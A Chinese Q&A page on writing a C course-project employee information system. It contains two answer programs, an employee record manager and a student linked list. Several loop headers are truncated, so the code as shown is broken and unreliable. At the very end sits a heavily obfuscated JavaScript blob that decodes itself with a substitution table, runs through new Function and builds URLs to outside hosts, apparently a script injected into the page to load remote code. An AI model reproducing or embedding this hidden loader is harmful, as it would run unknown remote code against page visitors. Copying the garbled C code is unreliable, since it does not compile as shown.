C语言课程设计之公司员工信息管理系统怎么做?

2024-11-11 03:09:18
推荐回答(2个)
回答1:

1、员工信息管理系统是事业单位科学、全面、高效进行人事管理的系统,参考大量中国人力资源管理理论,根植于国内管理的实际情况,实用而科学。内容包括机构的建立和维护,人员信息的录入和输出,工资的调整和发放以及各类报表的绘制和输出等功能。在操作上集输入、维护、查询、统计、打印、输出等处理为一体,简便灵活,自动化功能强大。


2、例程:

#include 
#include 
#include 
#include 
#define N 100
struct employee
{
    int num;
 char name[10];
 char sex;  
 int age;
 char xueli[30];
    int wage;
   char addr[30];
   long int tel;
}em[100];        /*定义一个结构体*/
void menu();
void input();
void save(int);
void display();
void del();
void add();
void search();
void search_num();
void search_xueli();
void search_tel();
void modify();  /*定义各函数*/
void menu()   /*菜单函数*/
{
 printf("              ☆☆☆计算机科学与技术学系☆☆☆\n");
    printf("\n");
    printf("                                   ∮08802班 关丽霞∮\n");
    printf("\n");
 printf("        ******************职工信息管理****************\n");
 printf("           1.录入职工信息");
 printf("           2.浏览职工信息\n");
 printf("           3.查询职工信息");
 printf("           4.删除职工信息\n");
    printf("           5.添加职工信息");
 printf("           6.修改职工信息\n");
 printf("           7.退出\n");
 printf("        ********************谢谢使用******************\n");
    printf("\n");
    printf("\n");
    
}
void main()
{   
 menu();  /*调用菜单函数*/
 int n,flag;
 char a;
 do
 {
    printf("请选择你需要操作的步骤(1--7):\n");
    scanf("%d",&n);
    if(n>=1&&n<=7)
    {
    flag=1;
    break;
    }
    else
    {
   flag=0;
   printf("您输入有误,请重新选择!");
    }
 }
    while(flag==0);
    while(flag==1)
  {
  switch(n)
  {
          case 1:printf("               ◆◆◆输入职工信息◆◆◆\n");printf("\n");input();break;
       case 2:printf("              ◆◆◆浏览职工信息◆◆◆\n");printf("\n");display();break;
       case 3:printf("              ◆◆◆按职工号查询职工信息◆◆◆\n");printf("\n");search();break; 
       case 4:printf("              ◆◆◆删除职工信息◆◆◆\n");printf("\n");del();break;
    case 5:printf("              ◆◆◆添加职工信息◆◆◆\n");printf("\n");add();break;
       case 6:printf("               ◆◆◆修改职工信息◆◆◆\n");printf("\n");modify();break;
       case 7:exit(0);break;
    default :break;
  }
  getchar();
  printf("\n");
     printf("是否继续进行(y or n):\n");
     scanf("%c",&a);
  if(a=='y')
  {
     flag=1;
           system("cls");  /*清屏*/
           menu(); /*调用菜单函数*/
     printf("请再次选择你需要操作的步骤(1--6):\n");
        scanf("%d",&n);
     printf("\n");
  }
  
  else 
  exit(0);
 }
 
}
void input()   /*录入函数*/
{
   int i,m;
      printf("请输入需要创建信息的职工人数(1--100):\n");
   scanf("%d",&m);
   for (i=0;i   {
  printf("职工号: ");
  srand((int)time(0));
  em[i].num=rand()%10000+20000000;
  if(em[i].num!=em[i-1].num)
       printf("%8d ",em[i].num);
  printf("\n");
     printf("请输入姓名:  ");
  scanf("%s",em[i].name);
  getchar();
  printf("请输入性别(f--女  m--男):  ");
  scanf("%c",&em[i].sex);
  printf("请输入年龄:  ");
  scanf("%d",&em[i].age);
  printf("请输入学历:  ");
  scanf("%s",em[i].xueli);
  printf("请输入工资:  ");
  scanf("%d",&em[i].wage);
  printf("请输入住址:  ");
  scanf("%s",em[i].addr);
        printf("请输入电话:  ");
     scanf("%d",&em[i].tel);
     printf("\n");
    
   }
   printf("\n创建完毕!\n");
      save(m);
}
void save(int m)  /*保存文件函数*/
{
 int i;
 FILE*fp;
 if ((fp=fopen("employee_list","wb"))==NULL)  /*创建文件并判断是否能打开*/
 {
  printf ("cannot open file\n");
     exit(0);
 }
 for (i=0;i   if (fwrite(&em[i],sizeof(struct employee),1,fp)!=1)
   printf("file write error\n");
   fclose(fp);
}
int load()  /*导入函数*/
{
     FILE*fp;
 int i=0;
   if((fp=fopen("employee_list","rb"))==NULL)
 {
  printf ("cannot open file\n");
     exit(0);
 }
 else 
 {
  do 
  {
        fread(&em[i],sizeof(struct employee),1,fp);
     i++;
  }
  while(feof(fp)==0);
 }
 fclose(fp);
 return(i-1);
}
void display()  /*浏览函数*/
{
 int i;
 int m=load();
 printf("\n  职工号\t姓名\t性别\t年龄\t学历\t工资\t住址\t电话   \n");
 for(i=0;i     printf("\n  %d\t%s\t%c\t%d\t%s\t%d\t%s\t%ld\n",em[i].num,em[i].name,em[i].sex,em[i].age,em[i].xueli,em[i].wage,em[i].addr,em[i].tel);  
}
void del()   /*删除函数*/
{
  
    int m=load();
 int i,j,n,t,flag;
 char name[20];
 printf("\n 原来的职工信息:\n");
    display();   /* 调用浏览函数*/
    printf("\n");
 printf("请输入要删除的职工的姓名:\n");
 scanf("%s",name);
 for(flag=1,i=0;flag&&i {
  if(strcmp(em[i].name,name)==0)
  {
   printf("\n已找到此人,原始记录为:\n");
            printf("\n职工号\t姓名\t性别\t年龄\t学历\t工资\t住址\t电话   \n");
   printf("\n%d\t%s\t%c\t%d\t%s\t%d\t%s\t%ld\n",em[i].num,em[i].name,em[i].sex,em[i].age,em[i].xueli,em[i].wage,em[i].addr,em[i].tel);  
            printf("\n确实要删除此人信息请按1,不删除请按0\n");
   scanf("%d",&n);
            if(n==1)   /*如果删除,则其他的信息都往上移一行*/
   {
     for(j=i;j     {
    strcpy(em[j].name,em[j+1].name);
                em[j].num=em[j+1].num;
                em[j].sex=em[j+1].sex;
                em[j].age=em[j+1].age;
                strcpy(em[j].xueli,em[j+1].xueli);
    em[j].wage=em[j+1].wage;  
                strcpy(em[j].addr,em[j+1].addr);
                em[j].tel=em[j+1].tel;
     }
    flag=0;
   }
  }
 }
 if(!flag)
    m=m-1;
 else
    printf("\n对不起,查无此人!\n");
    printf("\n 浏览删除后的所有职工信息:\n");
    save(m);     /*调用保存函数*/
    display();  /*调用浏览函数*/
 printf("\n继续删除请按1,不再删除请按0\n");
 scanf("%d",&t);
 switch(t)
 {
    case 1:del();break;
    case 0:break;
    default :break;
 }
}
void add()/*添加函数*/
{
 FILE*fp;
 int n;
    int count=0;
    int i;
    int m=load();
    printf("\n 原来的职工信息:\n");
    display();   /* 调用浏览函数*/
    printf("\n");
    fp=fopen("emploee_list","a");
    printf("请输入想增加的职工数:\n");
 scanf("%d",&n);
    for (i=m;i<(m+n);i++)
  {
  printf("\n 请输入新增加职工的信息:\n");
  printf("请输入职工号:  ");
  srand((int)time(0));
  em[i].num=rand()%10000+20000000;
  if(em[i].num!=em[i-1].num)
       printf("%8d ",em[i].num);
  printf("\n");
        printf("请输入姓名:  ");
     scanf("%s",em[i].name);
        getchar();
        printf("请输入性别(f--女  m--男):  ");
     scanf("%c",&em[i].sex);
        printf("请输入年龄:  ");
     scanf("%d",&em[i].age);
     printf("请输入学历:  ");
     scanf("%s",em[i].xueli);
     printf("请输入工资:  ");
     scanf("%d",&em[i].wage);
      printf("请输入住址:  ");
     scanf("%s",em[i].addr);
        printf("请输入电话:  ");
     scanf("%d",&em[i].tel);
        printf("\n");
     count=count+1;
  printf("已增加的人数:\n");
     printf("%d\n",count);
 }
    printf("\n添加完毕!\n"); 
    m=m+count;
 printf("\n浏览增加后的所有职工信息:\n");
 printf("\n");
 save(m);
    display();
   fclose(fp);
}
void search()/*查询函数*/
{
    int t,flag;
 do
 {
    printf("\n按职工号查询请按1 ; 按学历查询请按2 ; 按电话号码查询请按3,进入主函数按4\n");
    scanf("%d",&t);
    if(t>=1&&t<=4)
    {
    flag=1;
    break;
    }
    else
    {
   flag=0;
   printf("您输入有误,请重新选择!");
    }
 }
    while(flag==0);
    while(flag==1)
 {
    switch(t)
    { 
     case 1:printf("按职工号查询\n");search_num();break;
     case 2:printf("按学历查询\n");search_xueli();break;
     case 3:printf("按电话号码查询\n");search_tel();break;
  case 4:main();break;
     default:break;
    }
    
 }
}
void search_num()
{
  int num;
  int i,t;
  int m=load();
  printf("请输入要查找的职工号(20001111---20009999):\n");
  scanf("%d",&num);
  for(i=0;i    if(num==em[i].num)
 {  
    printf("\n已找到此人,其记录为:\n");
       printf("\n职工号\t姓名\t性别\t年龄\t学历\t工资\t住址\t电话   \n");
    printf("\n%d\t%s\t%c\t%d\t%s\t%d\t%s\t%ld\n",em[i].num,em[i].name,em[i].sex,em[i].age,em[i].xueli,em[i].wage,em[i].addr,em[i].tel);  
    break;
 }
   if(i==m)  
    printf("\n对不起,查无此人\n");
   printf("\n");
   printf("返回查询函数请按1,继续查询职工号请按2\n");
   scanf("%d",&t);
   switch(t)
   { 
   case 1:search();break;
      case 2: break;
   default:break;
   }
}
void search_xueli()
{
  char xueli[30];
  int i,t;
  int m=load();
  printf("请输入要查找的学历:\n");
  scanf("%s",xueli);
  for(i=0;i   if(strcmp(em[i].xueli,xueli)==0)
 {
    printf("\n已找到,其记录为:\n");
    printf("\n职工号\t姓名\t性别\t年龄\t学历\t工资\t住址\t电话   \n");
    printf("\n%d\t%s\t%c\t%d\t%s\t%d\t%s\t%ld\n",em[i].num,em[i].name,em[i].sex,em[i].age,em[i].xueli,em[i].wage,em[i].addr,em[i].tel);  
    
 }
  if(i==m) 
    printf("\n对不起,查无此人\n");
   printf("\n");
   printf("返回查询函数请按1,继续查询学历请按2\n");
   scanf("%d",&t);
  switch(t)
  { 
   case 1:search();break;
      case 2:break;
   default :break;
  }
 
}
void search_tel()
{
   long int tel;
  int i, t;
  int m=load();
  printf("请输入要查找的电话号码:\n");
  scanf("%ld",&tel);
  for(i=0;i    if(tel==em[i].tel)
 {  
    printf("\n已找到此人,其记录为:\n");
       printf("\n职工号\t姓名\t性别\t年龄\t学历\t工资\t住址\t电话   \n");
    printf("\n%d\t%s\t%c\t%d\t%s\t%d\t%s\t%ld\n",em[i].num,em[i].name,em[i].sex,em[i].age,em[i].xueli,em[i].wage,em[i].addr,em[i].tel);  
    break;
 }
    if(i==m)  
    printf("\n对不起,查无此人\n");
   printf("\n");
   printf("返回查询函数请按1,继续查询电话号码请按2\n");
   scanf("%d",&t);
  switch(t)
  { 
   case 1:search();break;
      case 2:break;
   default :break;
  }
  
}

回答2:

c语言编的学生信息管理系统小程序 参考吧

#include
#include
struct st
{
char name[20];
int english;
int math;
int chinese;
int average;
st *next;

};
struct st *pend=NULL;//初始链表的尾指针
struct st *pendorder=NULL;//顺序链表的尾指针
struct st *pheadorder=NULL;//顺序链表的头指针
struct st *makeorder(struct st *phead);//按分数从大到小排序 生产链表
struct st *addtolist(struct st *add);// 将平均分最大的添到另一个链表
struct st *createlist();//输入学生信息时生成的初始链表
struct st * deletestu(char *name,st *phead);//删除一个学员的信息
struct st *addstu(st *name,st *phead);//向顺序链表添加一个元素,插入的地方按平均成绩
void printinfo(st *phead);//按平均成绩打印出每个学员的名字

int main()
{
int select;
char deletename[20];
struct st *addstud=NULL;
struct st *phead=NULL;
phead=createlist();//输入时创建链表
pheadorder=makeorder(phead);//将链表排序
printf("input operation:1----deletestudent,2-----addstudent,3----output all student\n");
scanf("%d",&select);
while(select>0)//选择操作1为删除2为添加3为打印,其他的输入会跳出循环
{
switch(select)
{

case 1:
printf("please input the of the student to be deleted:\n");
scanf("%s",deletename);
pheadorder=deletestu(deletename,pheadorder);
printf("input operation:1----deletestudent,2-----addstudent,3----output all student\n");
scanf("%d",&select);
break;
case 2:
printf("please input the information of the student to be added:\n");
addstud=new st;
scanf("%s%d%d%d",addstud->name,&(addstud->english),&(addstud->math),&(addstud->chinese));
addstud->average=((addstud->english)+(addstud->math)+(addstud->chinese))/3;
while((addstud->english)<=0)
{
delete addstud;
printf("please input the information of the student to be added:\n");
addstud=new st;
scanf("%s%d%d%d",addstud->name,&(addstud->english),&(addstud->math),&(addstud->chinese));
addstud->average=((addstud->english)+(addstud->math)+(addstud->chinese))/3;
}
pheadorder=addstu(addstud,pheadorder);
printf("input operation:1----deletestudent,2-----addstudent,3----output all student\n");
scanf("%d",&select);
break;
case 3:
printinfo(pheadorder);
printf("input operation:1----deletestudent,2-----addstudent,3----output all student\n");
scanf("%d",&select);
break;
default:
goto laber;

}
}
laber:system("pause");
return 1;

}
struct st *createlist()//输入时创建初始链表
{
struct st *pfirst=NULL;
struct st *plast=NULL;
struct st *p=new st;
printf("please input the information of the students:\n");
scanf("%s%d%d%d",p->name,&(p->english),&(p->math),&(p->chinese));
p->average=((p->english)+(p->math)+(p->chinese))/3;
while((p->english)>0)
{
if(pfirst==NULL)
pfirst=plast=p;
else
plast->next=p;
plast=p;
printf("please input again:\n");
p=new st;
scanf("%s%d%d%d",p->name,&(p->english),&(p->math),&(p->chinese));
p->average=((p->english)+(p->math)+(p->chinese))/3;

}
plast->next=NULL;
printf("list create successful\n");
delete p;
return pfirst;
}
struct st *deletestu(char *name,st *phead)//删除一个学员
{
int flag=0;
st *p=NULL;
if(strcmp(phead->name,name)==0)
{
phead=phead->next;
flag=1;
}
else
for(p=phead;p;p=p->next)
{
if(strcmp(p->next->name,name)==0)
{
p->next=p->next->next;
flag=1;
break;
}
}
if(!flag)
printf("the student you delete is not in the list\n");
else printf("delete successful\n");
return phead;
}
struct st *addstu(st *name,st *phead)//按平均分增加一个学员
{
name->next=NULL;
struct st *p=NULL;
if((name->average)>(phead->average))
{
name->next=phead;
phead=name;
return phead;
}
else
{
for(p=phead;p->next;p=p->next)
{
if((name->average)>(p->next->average))
{
name->next=p->next;
p->next=name;
return phead;
}

}
}
p=p->next;
p->next=name;
return phead;

}
void printinfo(st *phead)//打印信息
{
st *p;
for(p=phead;p;p=p->next)
printf("%s\n",p->name);
}

struct st *addtolist(struct st *phead,struct st *add)//生成顺序链表时每回都添加一个平均成绩最高的学员信息
{
add->next=NULL;
if(phead==NULL)
pendorder=phead=add;
else
pendorder->next=add;
pendorder=add;
return phead;

}

struct st *makeorder(struct st *phead)//将初始链表变成顺序链表
{
if(phead!=NULL)
{
int max;
struct st *p=NULL;
struct st *index=NULL;
while(phead)
{
max=0;
for(p=phead;p;p=p->next)
{
if(p->average>max)
{
max=p->average;
index=p;
}
}
phead=deletestu(index->name,phead);
pheadorder=addtolist(pheadorder,index);
}
return pheadorder;
}
else printf("there is no list members to be ordered\n");
return pheadorder;
}

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();